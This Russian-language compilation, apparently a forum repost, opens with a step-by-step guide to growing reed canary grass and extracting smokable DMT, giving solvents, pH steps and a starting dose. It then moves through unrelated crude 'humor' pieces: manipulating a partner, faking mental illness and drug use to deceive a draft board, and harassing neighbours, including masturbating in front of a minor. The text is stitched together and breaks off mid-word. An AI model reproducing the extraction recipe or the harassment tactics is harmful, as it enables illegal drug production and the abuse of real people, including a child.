При выращивании наилучшие результаты дает использование стерилизованной почвенной смеси, засыпанной в большой ящик. Вы также можете использовать горшки, но тогда полезная площадь почвы значительно уменьшится. Семена заглубляют в почву на 1/8" (около 3 мм) на расстоянии 1/2" (около 12 мм) друг от друга. Предоставьте им побольше света и ежедневно поливайте. Первые ростки вы увидите меньше чем через 5 дней. Достаточной высоты растения достигают на 2-3 неделю. (Если вы срежете растения, но оставите их корневища - из них скоро появятся новые ростки. Прим. перев.)

Есть много такого, что вы должны узнать о DMT, если еще не знаете... Прежде чем пробовать его, почитайте немного о его действии. DMT очень сильный психоделик и на неподготоволенного человека может произвести ошеломляющее действие. DMT *обычно* неактивен при пероральном приеме, но становится активен в присутствии ингибиторов MAO (моноамидооксидазы). Смеси MAOи и DMT называются аяхуаска. Но этот текст посвящен *курению* DMT, так что про MAOи можете не беспокоится. Насколько мне известно, идея получения пригодного для курения DMT из растений достаточно новая и малоизвестная (на 1995 год - прим. перев.), по крайней мере теми методами, которые доступны нам в домашней лаборатории (aka кухня Джеймс Декорн (автор "Psychedelic Shamanism" и других книг) разработал метод, который будет обсуждаться ниже. Вот фрагмент из его книги:

Psychedelic Shamanism - Глава 11

Очень многообещающая пригодная для курения форма DMT может быть получена из красного канареечника (P. arundinacea). Я сделал это открытие более чем через месяц после того, как рукопись книги была закончена и отправлена издателю. Поэтому я предлагаю эту главу вашему вниманию как нечто совершенно новое. Эта информация нигде еще не опубликована, поэтому можно сказать, что я являюсь первооткрывателем этого процесса.

Как и многие подобные исследования, это исследование во многом было случайным. У меня были две поврежденные желатиновые капсулы концентрированного экстракта Phalaris, который я хотел использовать для добавления к аяхуаске. Я поместил их в стаканчик со спиртом, чтобы извлечь экстракт. После удаления кусочков желатиновой оболочки капсул я убрал стакан подальше и забыл о нем. Конечно же, спирт вскоре испарился, оставив на дне стакана слой каучукоподобных смол. Все это стояло около двух недель, прежде чем я вспомнил о нем. И мне стало интересно: а что будет, если выкурить этот осадок? Не долго думая, я еще раз растворил смолы в спирте и добавил жмых oregano как инертный наполнитель для курения. Спирт испарился, оставив 250 мг пропитанного смолами Phalaris материала. Он простоял несколько дней без дела, ведь у меня не было достоверных сведений о психоактивности этого вещества при курении (если бы это было известно, то я бы уже об этом знал, не правда ли?) И каким сюрпризом стал для меня характерный DMT-шный трип, последовавший за одной затяжкой этой смесью, сделанной в совершенно случайном месте - вечером в ванной. Я уже был знаком с действием DMT, поэтому такой эффект не стал для меня полным сюрпризом. Вот запись в моем журнале, сделанная 10.01.1993 г :

[Поскипано. О действии DMT вы можете прочесть на wwwhigh.ru Прим. перев.]

А теперь - собственно ЭКСТРАКЦИЯ:

1. Измельчите траву как можно сильнее (вам нужно как минимум 2 кг сырой травы. Прим.перев.) Вы должны сделать это чтобы разрушить клеточную структуру растения. Наилучшим способом будет поместить траву на ночь в морозильную камеру, а на следующий день вытащить и разморозить. Повторите это 2-3 раза, после чего _замороженную_ траву измельчите в миксере.

2. Добавьте достаточно воды, чтобы получилась жидкая кашица.

3. Теперь надо добавить кислоту. Достаточно будет догнать PH до 5, поэтому можно использовать винную, лимонную или уксусную кислоту. PH можно проверить лакмусовой индикаторной бумажкой. Кислота добавляется для перевода алкалоидов растения в форму солей. Отличным способом облегчить протекание реакции будет слабый нагрев, только чтобы жидкость не испарилась! Раствор должен простоять одну ночь.

4. Отожмите жидкость через марлю, профильтруйте. Жмых можно выкинуть, так как все алкалоиды уже перешли в раствор.

5. Добавьте небольшое количество (около 10%) неполярного растворителя, такого как эфир, хлороформ или (что проще всего) заправка для зажигалок "Зиппо" [или толуол]. Долго и тщательно перемешивайте смесь, а потом дайте ей отстояться. Со временем смесь разделится на два слоя - водный внизу, а растворитель - вверху. Это делается для того, чтобы избавиться от жиров и масел, которые уйдут в слой растворителя.
6. Теперь с помощью делительной воронки (на рисунке слева) разделите слои воды и растворителя. Что делать при отсутствии такой воронки - смотрите в описании процесса "Агент Лимон" (который, кстати, имеет с данным много общего - прим. перев.) или отсосите растворитель с помощью 20-ти кубового шприца с присоединенной к нему капельницей. Воду оставьте, а растворитель - вылейте.

7. Следующим шагом станет добавление основания (щелочи) в раствор. Можно использовать нашатырный спирт или едкий натр. Добавляйте по каплям щелочь, тщательно перемешивая, пока PH не станет около 9-10. Теперь алкалоиды перешли в свободную, нерастворимую в воде форму и их можно отделить при помощи растворителя.

8. Для каждой экстракции с растворителем последнего достаточно около 10% от объема раствора. В процессе экстракции держите емкость плотно закрытой, чтобы растворитель не испарился.

9. Вы должны провести _четыре_ таких экстракции, чтобы быть уверенными в отделении всех алкалоидов. Первая длится 24 часа, каждая последующая - неделю. Слой растворителя скоро потемнеет, приобретая желтоватую или красно-коричневую окраску. Это показывает, что алкалоиды понемногу переходят в растворитель из водного раствора. Смесь должна два раза в день интенсивно перемешиваться. После каждой экстракции отделяйте слой растворителя и сохраняйте его в отдельной емкости, а к водному раствору добавляйте свежую порцию.

10. Последним шагом станет испарение растворителя в какой-либо мелкой посуде (вдали от огня!). То, что останется и будет DMT (с примесью NMT и их 5-метокси-соединений, но от них избавиться уже не удастся. Прим. перев.). Если осадок слишком липкий и тягучий - добавьте немного обычной муки и тщательно перемешайте.

Ок, на сегодня все. Не курите в первый раз более 25 мг - потом, с опытом, дозу можно будет повысить.

ММММДААА люди всетаки тупой народ вот еше одно доказ-во

                          _Мир DOOMу твоему, All!_

Если вам необходимо доказательство, что человечество вымрет из-за своей
глупости - прочитайте эти инструкции:

Hа одеяле (made in Taiwan)
HЕ ИСПОЛЬЗУЙТЕ КАК ЗАЩИТУ ОТ ТОРHАДО

Hа зеркальце, приделанном к каске, которую используют американские
велосипедисты
ПОМHИТЕ, ПРЕДМЕТЫ В ЗЕРКАЛЕ HА САМОМ ДЕЛЕ ЗА ВАМИ

Hа крышке от бутылки молока в Англии
ПОСЛЕ ОТКРЫТИЯ HЕ ПЕРЕВОРАЧИВАЙТЕ БУТЫЛКУ ВВЕРХ ДHОМ

В некоторых странах на бутылках с Кока-Колой
ОТКРЫВАЙТЕ ДРУГОЙ РУКОЙ

Hа фене фирмы Sears
HЕ ИСПОЛЬЗУЙТЕ ВО СHЕ

Hа упаковке овального мыла
ИHСТРУКЦИЯ - ИСПОЛЬЗУЙТЕ КАК ОБЫКHОВЕHHОЕ МЫЛО

Hа коробочке с десертом Тирамису в магазине BILLA (напечатано снизу
коробочки)
HЕ ПЕРЕВОРАЧИВАЙТЕ ВВЕРХ ДHОМ

Hа пудинге от Marks & Spencer
ПОСЛЕ РАЗОГРЕВА ПРОДУКТ БУДЕТ ГОРЯЧИМ

Hа китайских гирляндах
ТОЛЬКО ДЛЯ ИСПОЛЬЗОВАHИЯ В ПОМЕЩЕHИИ ИЛИ СHАРУЖИ

Hа арахисе фирмы Sainsbury's
ПРЕДУПРЕЖДЕHИЕ - ПРОДУКТ СОДЕРЖИТ ОРЕХИ

Hа упаковке орешков  American Airlines
ИHСТРУКЦИЯ - ОТКРОЙТЕ УПАКОВКУ, СЪЕШЬТЕ ОРЕШКИ

Hа шведской электропиле
HЕ ПЫТАЙТЕСЬ ОСТАHОВИТЬ ПИЛУ СВОИМИ РУКАМИ ИЛИ ГЕHИТАЛИЯМИ (интересно,
на основании какого телефонного звонка от заказчика фирма была вынуждена
включить это предложение в инструкцию?)

Hа детском костюме Супермена
ДАЖЕ С ЭТИМ КОСТЮМОМ ВЫ HЕ СМОЖЕТЕ ЛЕТАТЬ

Hа шапочке для купания в отеле
ТОЛЬКО HА ОДHУ ГОЛОВУ

Hа упаковке от утюга Rowenta
HЕ ГЛАДЬТЕ ОДЕЖДУ HА ТЕЛЕ

Hа сиропе против кашля для детей от фирмы Boot's
HЕ УПРАВЛЯЙТЕ АВТОМОБИЛЕМ ИЛИ СТАHКОМ

Hа упаковке снотворного Nytol
ПРЕДУПРЕЖДЕHИЕ - МОЖЕТЕ ПОЧУВСТВОВАТЬ СОHЛИВОСТЬ

кстати пишите комментарии по теме а то я не знаю нужна ли она тут вообще!!!1

а вот еще про даню если понравилось пишите пришлю еще
   Как избавиться от бойфренда

   Сегодня речь пойдет не о скромном быте смазливых педерастичных морячков-папаев, как уже скорее всего решили самые эрудированные читатели, бросив ясный взгляд на название атикла. Сегодня, пацаны, я сделал всем нам реальную подставу. Сегодня, первый раз за свою жизнь, я написал статью, которая посвящена исключительно девушкам. (Акела промахнулся! Акела промахнулся! - прим. мертвого слоника по кличке Смайл). Но я все могу объяснить. (Что-то последняя моя фраза черезчур попахивает дешевыми сериалами). Вот смотри, почему я вообще не хочу иметь детей? Если родится мальчик - это клево, можно будет воспитать его настоящим мужчиной, ходить вместе на рыбалку, пить березовый сок на набережной, в общем все дела. А если девочка? Тогда через 17-19 лет она превратится в ослепительную половозрелую красавицу и....КАКОЙ-ТО КРЕТИН БУДЕТ ЕЕ ТРАХАТЬ!!! Ты только представь: мою милую дочурку, принцесcу, рыбку будет пошло иметь во все места какой-то озабоченный волосатый урод. (Сам урод! - прим. ослика Феди). Девушки, опомнитесь! Перестаньте отдавать свою любовь и тело всем этим потным мужланам, эмоциональным кастратам и фригидным компьютерщикам. Подумайте об обливающихся кровью сердцах ваших отцов. Воспользуйтесь приведенным ниже священным мануалом по киданию бойфренда и поживите в гордом одиночестве лет 8-10. А потом вы все равно уже никому не нужны будете...

1. Кончай его

Лежа с ним в постели после страстного и бурного секса, когда он уже находится в полусонном благостном состоянии аля "Welcome to Nirvana", начни жестко и настойчиво грузить его на тему вашего материального благосостояния и светлого будущего. Скажи: "Дорогой, у нас ведь будет много детей, правда? Наверное восемь...а может даже и все десять. Я буду целыми днями их няньчить и хлопотать по хозяйству. А ты будешь зарабатывать деньги и приходить вечером в наш уютный домик на Лазурном берегу, ко мне и детям. Только, милый, тебе придется очень много работать. Я не хочу всю жизнь прожить в этом обшарпаном сарае вместе с твоим гуимпленом-братом. Так что ты должен стать как минимум членом совета директоров крупной корпорации. Я уже выкинула все твое пиво из холодильника, спустила в туалет сигареты и сказала твоим друзьям-тунеядцам, что ты больше не желаешь их видеть. Я правильно поступила, котик? Да, и перестань шляться по этим сомнительным клубам и вечеринкам. Ты ведь прямо завтра уже должен начать готовиться к своей новой блестящей карьере. Кстати, твои билеты на футбольный матч "Спартак-Зенит" я поменяла на театральный абонемент для нас двоих...я подумала, что театр серьезно расширит твой кругозор. Ну скажи, что я у тебя умница! Что ты все молчишь да молчишь, поговори со мной!".

2. Павлик.ру

Я думаю, сладкая моя, что в твоей жизни был далеко не один замечательный мальчик. Так вот ты слегка напрягись и вспомни самого-самого замечательного из них. Допустим, его зовут Павлик. (Неа, его зовут Ашок Тураганян - прим. ослика Феди). Теперь твоя задача: постоянно упоминать имя этого Павлика всуе, сравнивая его несравненные достоинства с жалкими характеристиками неугодного бойфренда. Чтобы тебе легче было понять, как именно себя надо вести, я приведу ниже ряд примерных фраз, которые тебе следует периодически как бы невзначай бросать своему надоевшему дружку:
"Павлик бы за пять минут починил эту злосчастную машину. А у тебя руки просто не из того места растут."
В постели: "Ты слишком груб и нетерпелив. Вот Павлик...он часами доводил меня своими ласками до исступления. Как только вспомню эти горячие волны, которые по десять раз за ночь поднимали меня на вершину блаженства..ооо... С тобой же мне постоянно приходится имитировать оргазм, жалкий лузер."
"Павлик умел себя вести в порядочном обществе, не то что ты - тупая деревенская свинья"
"Нищий скупердяй! Павлик всегда оплачивал мои телефонные счета"
"У тебя абсолютно нет вкуса - я стесняюсь идти рядом с тобой по улице. Вот Павлик - он знал толк в модной одежде" Ну а после нескольких дней подобной терапии, тебе следует добить неугодного мальчика. Во время вашей сладкой прелюдии на раскладном ложе любви, достань припасенный заранее штангенциркуль и, измерив по всем параметрам достоинство бойфренда, печально произнеси: "Здесь Павлик тебя тоже серьезно обскакал".

3. 9 с половиной недель

Приготовь побольше взбитых сливок и пообещай своему мальчику чудесную ночь любви. Без обмана. Поставь романтическую музыку, зажги свечи и нежно покрой интимные и не очень места своего Ромео этим шедевром кулинарии. Ну а затем, естественно, начни мега-сексуально слизывать с него сливки. Так и быть, пусть он покайфует минут пять, а когда ты практически доведешь его до пика наслаждения, тут же сунь два пальца в рот и блевани ему на грудь со словами "Я давно тебе хотела показать, что меня от тебя физически тошнит". Думаю временная импотенция и серьезный психический срыв ему обеспечен.

4. Девушки бывают разные...

Начни серьезно интересоваться компьютерами. Покупай умные книги вроде "Архитектура RISC", "Программирование для встроенных систем", "PERL с нуля" и усиленно делай вид, что ты их с интересом читаешь. Перестань использовать косметику, вообще следить за собой (я понимаю, что сложно, но надо себя пересилить - это все временно). Так же будет крайне замечательно, если ты начнешь принимать водные процедуры раз в одну/две недели и начисто забудешь слово "эппиляция". Полностью возьми в свое личное пользование компьютер бойфренда. Получи поинта или ноду в ФИДО и тут же с головой окунись в FTN-жизнь. Ходи абсолютно на все поинтовки и сисопки, проводи горячие ночи за чтением почты (а не с ним в постели) и полностью перейди на компьютерно-фидошный сленг. Питаться следует исключительно чипсами (вообще забудь про слово "кухня") и пивом. Бутылочки три-четыри девятой балтики у компьютера - это как раз то, что тебе нужно. Свое общение с бойфрендом сведи к минимуму: при любой его попытке завести слюняво-романтичные беседы, тут же переводи тему разговора на разгон процессоров и матричное кодирование сигнала. Следует начисто отказаться от реального секса: пусть твой мальчик застанет тебя пару-тройку раз мастурбирующей на откровенные фотографии породистых самцов с pornoz.com. Ну и неплохо будет пофлиртовать в icq/irc с десятком-другим "Вольдемаров". Что? Твой бойфренд не повесился и все еще живет с тобой под одной крышей? Тогда прости его - он исправится.

5. Успокойся, животное

Проведи ночь вне дома и, явившись под утро к бойфренду, кинься ему на плечо и зарыдай. Вперемешку с соплями, слезами и губной помадой говори что-нибудь вроде: "Ну вы, мужики, и уроды...Кобели...Вам лишь бы добиться своего, а потом хоть трава не расти...Вот зачем утром вы телефон спрашиваете и делаете вид, что записываете...Ведь не позвоните больше никогда...Вот и сегодня...Тоже спросил...И ты наверное тоже, бедным девочкам не звонишь...Урод...Не трогай меня...Не трогай, я сказала!!! Сам успокойся, животное."

6. "Как там было у Кафки...", - задумчиво протянула Наташа

Несколько месяцев не вылезай из библиотеки им. В.И. Ленина. Прочитай всю графоманскую писанину Ницше, Канта, Шоппенгауэра, Юнга, Фрейда, Кафки, Джойса, Сартра, Кизи, Лири и прочих инвалидов интеллектуального труда (полный список возьми у своей знакомой Наташи...да-да, у той заумной уродины в очках из литинститута). Если в ответ на предложение бойфренда "давай сзади" ты сможешь разразиться десятиминутной тирадой о правах женщины, скрытых сексуальных комплексах приятеля, натурфилософии, наладке позитронных ускорителей и роли Будды в развитии духовной мысли Японии, то мой тебе респект - вылезай из библиотеки. Твой бойфренд сам убежит от тебя через два дня, навеки приобретя интергалактический комплекс неполноценности. Ну а чтобы восстановить душевное равновесие и преждевременно не уйти из жизни - пару недель занимайся непрерывной сексуальной терапией: книжное дерьмо из головы можно только вытрахать. Главное - ни в коем случае не разговаривай со своими партнерами, шифруйся под дурочку, чтобы они не смылись от тебя досрочно.

Девушки, я безумно виноват перед вами. Это я написал "Как избавиться от подружки", "Самый правдивый женский гороскоп" и прочие труды, пропагандирующие тотальную дискриминацию по половому признаку. И ведь сколько еще всего напишу! Заранее простите меня пожалуста: эта статья канает за отмазу? Я моральный урод и пишу для точно таких же моральных уродов, которые считают вас ограниченными похотливыми дурочками. А все дело в том, что мы, мужчины, попросту избранные инопланетяне-десантники, которых заслали на вашу, женскую, планету с загадочной миссией...вступить с вами в КОНТАКТ...

   Время пришло в гости отправиться, ждет тебя старинный друг. Он толстый и славный, твой друг самый главный… Да, комрад, пробил исторический час: на тебя снизошла повестка в военкомат. Слабовольные типы сразу же побегут во всяческие комитеты солдатских матерей, начнут писать письма в Совет Европы и жаловаться на нарушение прав человека. А зачем, спрашивается? Ведь прохождение медкомиссии - это чудо Господне! Слепые прозревают, глухие начинают слышать, хромые буквально готовы хоть сейчас кросс бежать, если верить заключению врачей. Алиллуйя! Не упускай столь редкий случай повеселиться - отправляйся в военкомат. Быть может от армии ты и не откосишь, но вот что тебя в этом заведении запомнят надолго - это точно.

Операция “Пневмослон”

Для начала следует закапать глаза “Визином”, чтобы они преобрели нездоровый блеск и белизну. Затем нужно повесить за спину советскую бензопилу “Дружба”, взять в руки сачок для бабочек, мухобойку и уже в таком виде отправиться проходить медкомиссию. Да, чуть не забыл: с собой обязательно надо захватить ножницы и папиросную бумагу. Все, хер уи гоу! И вот перед тобой он: заветный коридор со множеством дверей и сидящими на скамейках юношами, а также их нервными родителями. Очередь к терапевту, очередь к окулисту… Тебя это не касается: крадущейся походкой, постоянно оглядываясь по сторонам и изредка нагибаясь (будто над тобой кто-то пролетает) медленно и торжественно иди к кабинету психиатра. Не волнуйся, тебя никто не остановит и не заорет, что надо встать в очередь - все поймут, что твое дело крайне срочное и не требует отлагательств. Смело заходи внутрь и игриво бросай с порога:
- Доктор, а я к вам…
- Хорошо, хорошо, голубчик - проходите, садитесь.
Садишься за стол, кладешь на него папиросную бумагу и начинаешь стричь туда ногти с рук. После окончания этой захватывающей процедуры скручиваешь папироску, прикуриваешь, затем глубоко затягиваешься и выпускаешь клубы ароматного дыма доктору в лицо:
- Доктор, вы знаете, они повсюду! Даже сам Лорд Пневмослон боится этих тварей. СМЕРТЬ! СМЕРТЬ! Я ДОЛЖЕН ВСЕХ УБИТЬ!
Сразу же после этих слов туши самокрутку о ладонь и с диким воплем бросайся на медсестру-ассистентку. Лови ее сачком и бей по заднице мухобойкой. Постарайся при этом задеть и уронить на пол какие-нибудь склянки и инструменты. Схвати свое дело и начни его натурально жрать. Когда в кабинет прибежит охрана, тотчас залезь под стол, включай бензопилу и безутешно рыдай. На все вопросы только качай головой и кричи: “Вы не понимаете! Я должен всех убить!!!”

Девушки из шоу

Достань фиолетовый парик, мини-юбку из салатового пластика, пояс с подвязками и сексапильные чулки. Одевай весь этот веар и попроси сестру или подружку сделать тебе суперский мэйкап. Глазки, ротик, ногти - все дела… В военкомате, проходя по коридору до кабинета какого-нибудь офицера, заигрывай с самыми симпатичными парнями (в первую очередь с секьюрити): “Ма-а-альчики, а вот вам мой телефончик, надеюсь вы не дадите скучать малышке Кики”. Войдя в кабинет незамедлительно прошествуй к столу самой сексапильной походкой, небрежно брось сумочку на стол и, зайдя вояке за спину, начни ласково массировать ему плечи:
- Това-а-арищ военный, а что это вы порядочным девушкам повестки в военкомат высылаете? А вас же столько мальчиков милых есть. Ну-ка отвечай, шалунишка!
- Д..да как вы смеете? А ну быстро прекратите поясничать! Как вас зовут?
- Кики…тоесть, простите, призывник Шеповалов (издевательским тоном). Военный, а наденьте фуражку, меня это та-а-ак возбуждает.
-Пошел вон отсюда, сопляк!
Обиженно фыркни и быстро встань в угол. Там достань свой пеппер и, периодически оглядываясь на вояку, со стонами начни сеанс легкой мастурбации. Во время этого процесса непрерывно говори что-нибудь вроде: “Да, я гадкий, испорченный мальчишка. Отшлепай же меня скорей. Ооо, нет, лучше пошли ко мне домой - у меня есть удавка, плеть, наручники…Ооо, я буду твоим рабом, грязью под твоими ногами, я хочу чтобы ты кончил мне в правый глаз”. Ну а когда кто-то будет входить в дверь - тотчас же бросайся на колени перед офицером и делай вид, будто только что закончил делать ему минет.

Килл эм олл

Сделай аккуратную короткую стрижку и подбери прикид в духе фильма “Коммандос”: защитная куртка с навешанными на ней учебными гранатами, начищенные до блеска армейские ботинки, сложенный парашют за спиной. Лицо измаж черной краской в целях маскировки, а на пояс повесь большой охотничий нож и массивный пневматический пистолет. Также будет неплохо нарисовать себе черной тушью пару псевдо-татуировок на шее: большую, жирную свастику и группу крови с коэффициентом совместимости органов. Окей, ты готов к труду и обороне! В военкомате эффектно чеканя шаг своими металлическими набойками загружайся в кабинет к самому важному вояке и громогласно рапортуй с мега-энтузиазмом:
- Товарищ Главнокомандующий Объединенными Силами ООН, призывник Шеповалов для прохождения медицинской комиссии и дальнейшего проследования в область боевых действий прибыл!
- Вольно, сынок, не стоит так усердствовать…да и какой я тебе главнокомандующий.
- Так точно, товарищ главнокомандующи                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 к ликвидации?
И тут же, не дожидаясь ответа, полосни по своему плечу ножом, слижи появившуюся кровь, а затем бросайся к двери с жутким воплем.

Люди в черном

Одень строгий костюм, прикрепи на него бейджик “Анатолий Звягинцев: Межгалактический Комитет По Вопросам Соблюдения Транснациональной Политики и Прав Гуманоидов, старший ревизор”. Сунь в одно ухо наушник, одень черные очки и направляйся в свой военкомат. Там гуляй, разглядывая стенды на стенах, призывников, и служащий персонал, постоянно что-то записывая и отмечая в своем блокноте. Периодически заходи в различные кабинеты, невозмутимо бери дела призывников и, опять же делай пометки. Игнорируй любые вопросы и обращения к тебе. Периодически отпускай в никуда едкие замечания вроде:
“Так-так, значит с плоскостопием взяли…учтем”
“Угу, коэффициент допустимости генетической копрессии превышен на 28 процентов”
“Ничего, тех двух майоров под трибунал, а этого…ну что-нибудь придумаем”
“Кто это у нас тут совсем со взятками обнаглел, ага такой-то (произносится фамилия хозяина кабинета)”
“Разжалую ублюдков к чертям собачим. Будут на Новой Земле землянику сеять, генералы фиговы.” В конце своей миссии, когда тебе принесут кофе и кейс с баксами, возьми с полки свое дело и скажи: “Ага, и Шеповалова загребли, сукины дети, ну я Владимир Владимирычу передам, он вас всех через одного у стенки построит”.

Гашиш и Карлсон

Из эквипмента тебе понадобится: несколько таблеток и капсул всевозможных цветов и размеров (подойдут любые мультивитамины), пакетик с растертым в порошок аспирином, шприц, а также ампула с какой-нибудь безопасной для организма жидкостью (например с физраствором). Дня три сиди дома и ничего не ешь, чтобы приобрести характерную впалость щек и зеленоватый цвет лица. А уже перед самим походом в военкомат сделай себе дополнительный мэйкап: круги под глазами, следы от уколов на предплечье и между пальцами, грязные спутанные волосы. Одеть следует жуткую рваную рубашку с короткими рукавами, чтобы сразу было ясно, какой ты передовик самодеструктивного труда. В военкомате не суетись, жди очереди, все время чешись и разглядывай свою обувь. Перфоманс же следует устроить у терапевта. Чуть-чуть поговори с ним для отвода глаз, а затем вдруг резко закати глаза и жутким голосом попроси стакан воды. Когда тебе его дадут, тотчас демонстративно выпей все таблетки и раскатай на столе пару дорожек аспирина. После того, как на глазах офигевшего врача ты их смачно вынюхаешь, следует сделать довольный фэйс, достать шприц и ввести в него содержимое ампулы. Затем скажи: “Вот черт, опять жгут забыл. Доктор, вы мне руку не подержите? Или ладно, все равно там уже колоть некуда - все вены дохлые, придется в шею”. С этими словами встань перед зеркалом, шумно подыши и засади физраствор в увеличенную вену на шее. Обожди несколько секунд и расслабленно опустись на пол со словами: “Доктор, я ведь совсем не против службы в армии. Но вот одна просьба есть: вы бы не могли меня порекомендовать для опытов в какую-нибудь сврехсекретную био-лабораторию, чтобы на мне новые сыворотки и вакцины испытывали?”

Операция “Пневмослон-2”

Как ты уже наверняка догадался, в центре нашего внимания снова окажется душка-психиатр. На этот раз, однако, тебе не придется брать с собой бензопилу и закапывать глаза - ты должен выглядеть как самый обычный ботан, всенепременно в очках и с постоянной улыбкой на лице. Робко, с неуверенной миной на лице заходи к нему кабинет: Здравствуйте, Доктор! Здравствуй, здравствуй. Проходи - садись. Доктор, а это правда, что мне дадут оружие? Да, конечно, почему бы нет, ты же защитник своей Отчизны. Доктор, а правда что я смогу из него убивать людей? (постарайся взвизгнуть, когда будешь произносить слово “убивать”) Раз - я выстрелил и он умер. Лежит весь такой мертвенький, холодный. А я подойду и поцелую его в губы. Доктор, а я могу своих сослуживцев убивать? (снова взвизгни) Ну да, конечно могу, а то вдруг они предатели и шпионы. Доктор, доктор, у вас случайно не будет чуть-чуть китайского супер-клея? Знаете, я очень люблю иногда подышать китайским супер-клеем. Особенно, знаете ли, если убьешь кого-нибудь, то обязательно нужно вовремя подышать - иначе тебя может укусить призрак. Но я не боюсь призраков, доктор. И еще, знаете что: меня в детстве никогда не насиловали. Да-да, это правда. И еще об меня никто и никогда не тушил сигареты! ТЫ СЛЫШИШЬ, МЕРЗКИЙ СТАРИКАШКА, НИКТО И НИКОГДА!!! (эту фразу нужно проорать психиатру в лицо, брызгая фонтанами слюны) Вот. Доктор, а вы когда-нибудь убивали кочергой маленьких детей? Знаете, мне их так жалко - уж очень они кричат сильно. Так у вас клея лишнего не найдется?

Окей, фэлла, я думаю ты просек, как надо себя вести в этом замечательном учреждении. Главное - побольше артисцизма и импровизации, хорошенько войди в образ и ты проведешь замечательный денек в дурке, КПЗ или изоляторе. Дерзай!

      Ах вы суки, твари безмозглые, ни хрена вы делать не умеете, засуньте свои статьи себе в задницу и там два раза проверните. С уважением, Сергей.

            Сергей Покровский, "Избранное"

Еу, нигга! Представь-ка себе следующую ситуацию: приходишь ты домой после насыщенного трудового дня, стелишь приятную мягкую кроватку, ложишься и погружаешься в сладкие грезы. Участки коры головного мозга последовательно отключаются, все проблемы уходят вместе с остатками личности и ты остаешься наедине с генератором сладострастного тягучего бреда, который обладает тотальнейшим эффектом присутствия. Спа-а-а-ать…
- Привет, Джулия!
- Здравствуй, сладкий. Скучал без меня? Знаю - скучал.
- Ты сегодня одна?
- Нет, что ты. Через пару минут подойдет Бритни, Лориса, Русалочка Ариэль, Джордж Майкл, Мик Джаггер и та школьная учительница из твоих снов пятилетней давности.
- А чего это еще за Лориса?
- Крофт….Или Палмер - там разберемся, кого захочешь - та и подойдет. Кстати, а на утро я тебе припасла монаха Сен Ляо из храма Шаолинь. Помнишь ваши веселые приключения в ванной три сна назад?
Джулия Робертс толкает тебя на возникающую вдруг из небытия воздушную кровать и нежно садится сверху. С заговорщецкой полуулыбкой она медленно покрывает поцелями все твое тело, постепенно сползая все ниже и ниже. И вот уже ее зубки ухватились за молнию на твоей ширинке…

Внезапно в сон врывается Дональд Дак с громкоговорителем и начинает издавать жуткие сиреноподобные звуки. И вдруг ты понимаешь, что это совсем не Дональд трубит, а просто сработала противоугонная система соседской машины. Кора головного мозга растормаживается, сознание возвращается к действительности, а всю твою сущность переполняет единственное желание - кинуть в окно противотанковую гранату. Но вот сирена отключается, и Джулия опять приступает к своему чудесному занятию. Однако через несколько минут грезогенератор вновь отрубается по вине доносящегося из-за стены громкого собачьего лая и равномерного поскуливания. Около получаса ты вслушиваешься в эти звуки и теряешься в догадках, что же такое вытворяют хозяева со своим питомцем. Затем не выдерживаешь - и с чувством несколько раз ударяешь ногой в стену. Собачий вой прекращается. А через пять минут за стенкой вдруг включается елеслышимый моторчик и периодически доносится монотонное тихое постукивание. Ты пытаешься заснуть, однако на фоне мертвой тишины эти странные звуки заполняют твой мозг и усиливаются в десятки раз. Тебе все ясно? От соседей нужно избавляться! НЕМЕДЛЕННО!

Хэй герл хэй бой!

Тебе понадобится помощь всех твоих друзей и подружек: каждую ночь в течении недели или двух необходимо будет устраивать мега-безбашенную вечеринку. В час ночи заряжаешь в музыкальный центр кассету Сектора Газа, закручиваешь все регуляторы громкости на усилке под завязку и разворачиваешь колонки к стене, за которой притаился коварный враг. Через минут десять, когда соседи хорошенько проникнутся концептуальным творчеством этого вокально-инструментального ансамбля, можно будет приступать к следующей фазе нашего дестроя. Отправляйтесь всей толпой в прихожую и красочно ее оформляйте: повсюду должны быть разбросаны в художественном беспорядке пустые бутылки из-под водки, шприцы, горы таблеток, канистры с бензином, мокрые тряпки, тюбики от клея “Момент”, использованные презервативы и невменяемые товарищи. Посредине же всей этой инсталляции необходимо разместить человек пять-шесть, которые раздевшись до основания, будут имитировать (или реально осуществлять - тут уж на любителя) недетскую сексуальную оргию. Так же неплохо бы было присобачить под потолок стробоскоп и позаботиться о соответствующем звуковом сопровождении (сладострастные стоны, дикие вопли, скрежет циркулярной пилы, которая кромсает человеческие тела итп.). Вечеринка…у Мэнсона дома…гуляют все торчки и некрофилы района. Когда охреневшие соседи все-таки найдут в себе смелость (Вася, мужчина ты или нет!) заглянуть к вам на огонек с целью выразить свое легкое недовольство происходящим - следует тут же пригласить их присоединяться, а также провести небольшую экскурсию по прихожей (будет очень здорово, если в этот момент кто-нибудь из невменяемых товарищей начнет пускать пену изо рта да и вообще изобразит мучительную смерть в жуткой агонии). Теперь выпроваживай соседей и, не выключая музыку, осуществляй подготовку к третьей и заключительной фазе вашего культурного мероприятия. Какую именно подготовку? А такую именно, чтобы приехавший через десять минут отряд ОМОНа застал в твоей чистой и опрятной квартире милых юношей и девушек, играющих в шахматы под тихие, завораживающие звуки песни "Мы желаем сча-ааа-стья вам, счастья в этом ми-ии-ре большом…“.

Оставайся, мальчик, с нами…

Если у соседей есть несовершеннолетняя дочка (или сын: это монопенисуально, на самом деле - в таком случае тебя подружка заменит), то они серьезно попали. Во-первых, раз ты успешно провел описаную выше акцию, то все психологические козыри уже буквально распиханы по твоим карманам. Все, что от тебя требуется - это на глазах у соседей подойти к их дочке на улице и минут 10-20 оживленно с ней побеседовать. Говорить можешь о чем угодно, хоть анекдоты детсадовские рассказывать. Будь уверен: завтра ее родители переедут в другой город, страну или галактику потому как назвать тебя “дурной компанией” после вчерашней вечеринки ни у кого язык не поднимется. Это все равно что обозвать проказником Джека-Потрошителя. Если же с вечеринкой у тебя все обломалось - не печалься и не хнычь, мы дадим стране угля! Каждое утро, когда мамочка будет провожать твою новоиспеченную малолетнюю соседку в школу, ты должен непременно присутствовать на лесничной площадке со спущенными штанами и, подглядывая из-за угла, вовсю мастурбировать, пока девушка ждет прихода лифта. Естественно все это нужно проделывать таким образом, чтобы мама была в курсе твоих нехитрых манипуляций. Кстати во время этого процесса неплохо было бы напевать какую-нибудь позитивную песенку из тех, что крутят на радио “Русский Шансон”. Можешь например с хрипотцой и надрывом в голосе шептать в такт движущейся руке: “Мы были этапом…на северной зоне…и ты, малолетка, не ведала зла…та-та-тата-нана-на-на-на”. Ну и, конечно, ты просто обязан проводить девушку в школу…передвигаясь естественно короткими 